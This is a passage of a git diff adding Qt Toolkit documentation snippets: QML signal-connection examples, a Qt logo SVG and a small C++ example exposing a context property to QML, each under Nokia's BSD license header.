+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+//![0]
+Item {
+ id: item
+ width: 300; height: 100
+
+ function myMethod() {
+ console.log("Button was clicked!")
+ }
+
+ Row { id: row }
+
+ Component.onCompleted: {
+ var component = Qt.createComponent("Button.qml")
+ for (var i=0; i<3; i++) {
+ var button = component.createObject(row)
+ button.border.width = 1
+ button.buttonClicked.connect(myMethod)
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/signals/connectslots.qml b/doc/src/snippets/declarative/qml-extending-types/signals/connectslots.qml
new file mode 100644
index 00000000..83a09d3d
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/signals/connectslots.qml
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+//![0]
+Item {
+ id: item
+ width: 200; height: 200
+
+ function myMethod() {
+ console.log("Button was clicked!")
+ }
+
+ Button {
+ id: button
+ anchors.fill: parent
+ Component.onCompleted: buttonClicked.connect(item.myMethod)
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/signals/no-parameters.qml b/doc/src/snippets/declarative/qml-extending-types/signals/no-parameters.qml
new file mode 100644
index 00000000..77e7a73b
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/signals/no-parameters.qml
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// application.qml
+import QtQuick 1.0
+
+Button {
+ width: 100; height: 100
+ onButtonClicked: console.log("Mouse was clicked")
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/qml-extending-types/signals/parameters.qml b/doc/src/snippets/declarative/qml-extending-types/signals/parameters.qml
new file mode 100644
index 00000000..4e64d28f
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/signals/parameters.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+//![0]
+// application.qml
+Button {
+ width: 100; height: 100
+ onButtonClicked: {
+ console.log("Mouse clicked at " + xPos + "," + yPos)
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/qml-intro/images/qt-logo.svg b/doc/src/snippets/declarative/qml-intro/images/qt-logo.svg
new file mode 100644
index 00000000..8c018be6
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-intro/images/qt-logo.svg
@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ clip-rule="evenodd"
+ stroke-miterlimit="10"
+ viewBox="0 0 174.35 209.78"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.46"
+ width="744.09186"
+ height="895.29858"
+ sodipodi:docname="qt-logo.svg"
+ inkscape:output_extension="org.inkscape.output.svg.inkscape"
+ version="1.0"
+ style="stroke-miterlimit:10">
+ <metadata
+ id="metadata29">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <sodipodi:namedview
+ inkscape:window-height="668"
+ inkscape:window-width="722"
+ inkscape:pageshadow="2"
+ inkscape:pageopacity="0.0"
+ guidetolerance="10.0"
+ gridtolerance="10.0"
+ objecttolerance="10.0"
+ borderopacity="1.0"
+ bordercolor="#666666"
+ pagecolor="#ffffff"
+ id="base"
+ showgrid="false"
+ inkscape:zoom="0.12195802"
+ inkscape:cx="525.6108"
+ inkscape:cy="-287.87189"
+ inkscape:window-x="476"
+ inkscape:window-y="228"
+ inkscape:current-layer="svg2" />
+ <desc
+ id="desc4">SVG generated by Lineform</desc>
+ <defs
+ id="defs6">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 526.18109 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="744.09448 : 526.18109 : 1"
+ inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+ id="perspective31" />
+ </defs>
+ <g
+ id="g8"
+ transform="translate(-1.5304326e-4,-3.775985e-4)">
+ <path
+ d="M 43.08,0.36 C 40.94,0 38.84,-0.08 36.81,0.08 L 36.8,0.08 C 36.8,0.08 22.92,1.02 22.29,1.07 C 9.62,2.08 0,12.5 0,26.89 L 0,196.55 L 14.19,209.78 L 156.79,185.81 C 166.6,184.11 174.35,172.54 174.35,160.04 L 174.35,21.88 L 43.08,0.36"
+ id="path10"
+ style="fill:#0c481e" />
+ <path
+ d="M 174.35,160.04 C 174.35,172.54 166.6,184.11 156.79,185.82 L 14.19,209.78 L 14.19,25.99 C 14.19,9.27 27.53,-2.21 43.08,0.36 L 174.35,21.88 L 174.35,160.04"
+ id="path12"
+ style="fill:#66b036" />
+ <path
+ d="M 130.42,45.91 L 141.94,47.15 L 141.94,67.36 L 154.9,68.28 L 154.9,80.96 L 141.94,80.36 L 141.94,126.69 C 141.94,130.72 142.38,133.31 143.28,134.48 C 144.08,135.55 145.32,136.07 146.99,136.07 C 147.15,136.07 147.32,136.07 147.48,136.06 C 150.03,135.91 152.81,135.13 155.83,133.75 L 155.83,145.4 C 150.69,147.65 145.65,149 140.7,149.42 C 139.99,149.47 139.29,149.5 138.62,149.5 C 134.14,149.5 130.72,148.2 128.38,145.57 C 125.65,142.52 124.29,137.62 124.29,130.9 L 124.29,79.54 L 118.06,79.26 L 118.06,65.67 L 125.65,66.22 L 130.42,45.91"
+ id="path14"
+ style="fill:#ffffff" />
+ <path
+ d="M 154.9,80.96 L 141.94,80.36 L 141.94,80.64 L 148.88,80.96 L 154.9,80.96"
+ id="path16"
+ style="fill:#0c481e" />
+ <path
+ d="M 144.64,135.6 C 145.3,135.92 146.07,136.07 146.99,136.07 C 147.15,136.07 147.32,136.07 147.48,136.06 C 150.03,135.91 152.81,135.13 155.83,133.75 L 149.81,133.75 C 147.99,134.58 146.28,135.21 144.64,135.6"
+ id="path18"
+ style="fill:#0c481e" />
+ <path
+ d="M 128.38,145.57 C 125.65,142.52 124.29,137.62 124.29,130.9 L 124.29,79.54 L 118.06,79.26 L 118.06,65.67 L 112.05,65.67 L 112.05,68.71 C 112.92,71.98 113.6,75.53 114.11,79.35 L 118.28,79.54 L 118.28,130.9 C 118.28,137.62 119.64,142.52 122.37,145.57 C 124.71,148.2 128.13,149.5 132.61,149.5 L 138.62,149.5 C 134.14,149.5 130.72,148.2 128.38,145.57 z M 130.42,45.91 L 124.41,45.91 L 119.74,65.79 L 125.65,66.22 L 130.42,45.91"
+ id="path20"
+ style="fill:#0c481e" />
+ <path
+ d="M 91.15,132.4 C 93.5,126.36 94.66,114.49 94.66,96.79 C 94.66,80.9 93.51,69.97 91.18,63.98 C 88.84,57.95 85.35,54.69 80.66,54.28 C 80.3,54.25 79.95,54.23 79.6,54.23 C 75.26,54.23 71.92,56.77 69.59,61.86 C 67.07,67.4 65.8,78.9 65.8,96.3 C 65.8,113.11 67.04,125.05 69.54,132.05 C 71.89,138.72 75.41,142.03 80.04,142.03 C 80.25,142.03 80.45,142.02 80.66,142.01 C 85.29,141.71 88.78,138.51 91.15,132.4 M 109.13,136.15 C 105.01,145.86 98.73,152.21 90.14,155.15 C 91.01,159.6 92.32,162.6 94.06,164.17 C 95.41,165.39 97.49,165.99 100.28,165.99 C 101.09,165.99 101.96,165.94 102.87,165.84 L 102.87,178.96 L 96.91,179.75 C 95.16,179.97 93.49,180.09 91.91,180.09 C 86.69,180.09 82.47,178.82 79.29,176.26 C 75.08,172.89 71.98,166.37 69.99,156.73 C 60.86,154.78 53.73,148.97 48.8,139.23 C 43.8,129.32 41.25,114.83 41.25,95.89 C 41.25,75.46 44.74,60.38 51.6,50.81 C 57.38,42.75 65.46,38.78 75.62,38.78 C 77.24,38.78 78.93,38.88 80.66,39.08 C 92.61,40.46 101.28,46.1 106.92,55.87 C 112.46,65.43 115.17,79.14 115.17,97.13 C 115.17,113.62 113.17,126.58 109.13,136.15"
+ id="path22"
+ style="fill:#ffffff" />
+ <path
+ d="M 100.28,165.99 C 101.09,165.99 101.95,165.94 102.87,165.84 L 98.04,165.84 C 98.71,165.94 99.49,165.99 100.28,165.99"
+ id="path24"
+ style="fill:#0c481e" />
+ <path
+ d="M 84.85,63.98 C 87.19,69.97 88.34,80.9 88.34,96.79 C 88.34,114.49 87.18,126.36 84.82,132.4 C 82.93,137.28 80.3,140.31 76.96,141.48 C 77.93,141.84 78.96,142.03 80.04,142.03 C 80.25,142.03 80.45,142.02 80.66,142.01 C 85.29,141.71 88.78,138.51 91.15,132.4 C 93.5,126.36 94.66,114.49 94.66,96.79 C 94.66,80.9 93.51,69.97 91.18,63.98 C 88.84,57.95 85.35,54.69 80.66,54.28 C 80.3,54.25 79.95,54.23 79.6,54.23 C 78.51,54.23 77.48,54.39 76.52,54.72 L 76.52,54.72 C 80.12,55.83 82.89,58.93 84.85,63.98 z M 82.51,178.25 C 82.4,178.2 82.28,178.15 82.17,178.09 C 82.16,178.09 82.15,178.08 82.14,178.08 C 82.03,178.03 81.93,177.97 81.83,177.92 C 81.81,177.91 81.79,177.9 81.77,177.89 C 81.68,177.84 81.59,177.79 81.49,177.74 C 81.46,177.72 81.44,177.71 81.41,177.69 C 81.33,177.65 81.24,177.6 81.16,177.55 C 81.12,177.53 81.09,177.51 81.05,177.48 C 80.98,177.44 80.91,177.4 80.84,177.36 C 80.79,177.33 80.74,177.3 80.7,177.27 C 80.64,177.23 80.58,177.19 80.52,177.15 C 80.46,177.12 80.41,177.08 80.35,177.04 C 80.3,177.01 80.25,176.98 80.2,176.94 C 80.14,176.9 80.07,176.85 80.01,176.81 C 79.97,176.78 79.93,176.75 79.89,176.72 C 79.82,176.67 79.74,176.61 79.67,176.55 C 79.64,176.54 79.61,176.52 79.59,176.5 C 79.49,176.42 79.39,176.34 79.29,176.26 C 75.08,172.89 71.98,166.37 69.99,156.73 C 60.86,154.78 53.73,148.97 48.8,139.23 C 43.8,129.32 41.25,114.83 41.25,95.89 C 41.25,75.46 44.74,60.38 51.6,50.81 C 57.38,42.75 65.46,38.78 75.62,38.78 C 75.65,38.78 69.27,38.77 69.27,38.77 L 69.27,38.78 C 59.12,38.78 51.05,42.75 45.27,50.81 C 38.41,60.38 34.92,75.46 34.92,95.89 C 34.92,114.83 37.47,129.32 42.47,139.23 C 47.41,148.97 54.53,154.78 63.67,156.73 C 65.65,166.37 68.76,172.89 72.96,176.26 C 76.14,178.82 80.36,180.09 85.58,180.09 C 85.68,180.09 85.78,180.09 85.88,180.09 L 91.42,180.09 C 88.01,180.03 85.04,179.43 82.52,178.26 C 82.51,178.26 82.51,178.26 82.51,178.25"
+ id="path26"
+ style="fill:#0c481e" />
+ </g>
+</svg>
diff --git a/doc/src/snippets/declarative/qtbinding/context-advanced/MyItem.qml b/doc/src/snippets/declarative/qtbinding/context-advanced/MyItem.qml
new file mode 100644
index 00000000..9f85d7c5
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/context-advanced/MyItem.qml
@@ -0,0 +1,46 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Text { text: applicationData.getCurrentDateTime() }
+//![0]
+
diff --git a/doc/src/snippets/declarative/qtbinding/context-advanced/applicationdata.h b/doc/src/snippets/declarative/qtbinding/context-advanced/applicationdata.h
new file mode 100644
index 00000000..921ce7ee
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/context-advanced/applicationdata.h
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QObject>
+#include <QDateTime>
+
+//![0]
+class ApplicationData : public QObject
+{
+ Q_OBJECT
+public:
+ Q_INVOKABLE QDateTime getCurrentDateTime() const {
+ return QDateTime::currentDateTime();
+ }
+};
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/context-advanced/connections.qml b/doc/src/snippets/declarative/qtbinding/context-advanced/connections.qml
new file mode 100644
index 00000000..fa1679a2
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/context-advanced/connections.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+Text {
+ text: applicationData.getCurrentDateTime()
+
+ Connections {
+ target: applicationData
+ onDataChanged: console.log("The application data changed!")
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/qtbinding/context-advanced/context-advanced.pro b/doc/src/snippets/declarative/qtbinding/context-advanced/context-advanced.pro
new file mode 100644
index 00000000..188a9fb9
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/context-advanced/context-advanced.pro
@@ -0,0 +1,3 @@
+QT += declarative
+SOURCES += main.cpp
+HEADERS += applicationdata.h
diff --git a/doc/src/snippets/declarative/qtbinding/context-advanced/main.cpp b/doc/src/snippets/declarative/qtbinding/context-advanced/main.cpp
new file mode 100644
index 00000000..6951f69b
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/context-advanced/main.cpp
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+#include "applicationdata.h"
+
+//![0]
+int main(int argc, char *argv[]) {
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+
+ ApplicationData data;
+ view.rootContext()->setContextProperty("applicationData", &data);
+
+ view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+ view.show();
+
+ return app.exec();
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/qtbinding/context/MyItem.qml b/doc/src/snippets/declarative/qtbinding/context/MyItem.qml
new file mode 100644
index 00000000..caeb6289
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/context/MyItem.qml
@@ -0,0 +1,45 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
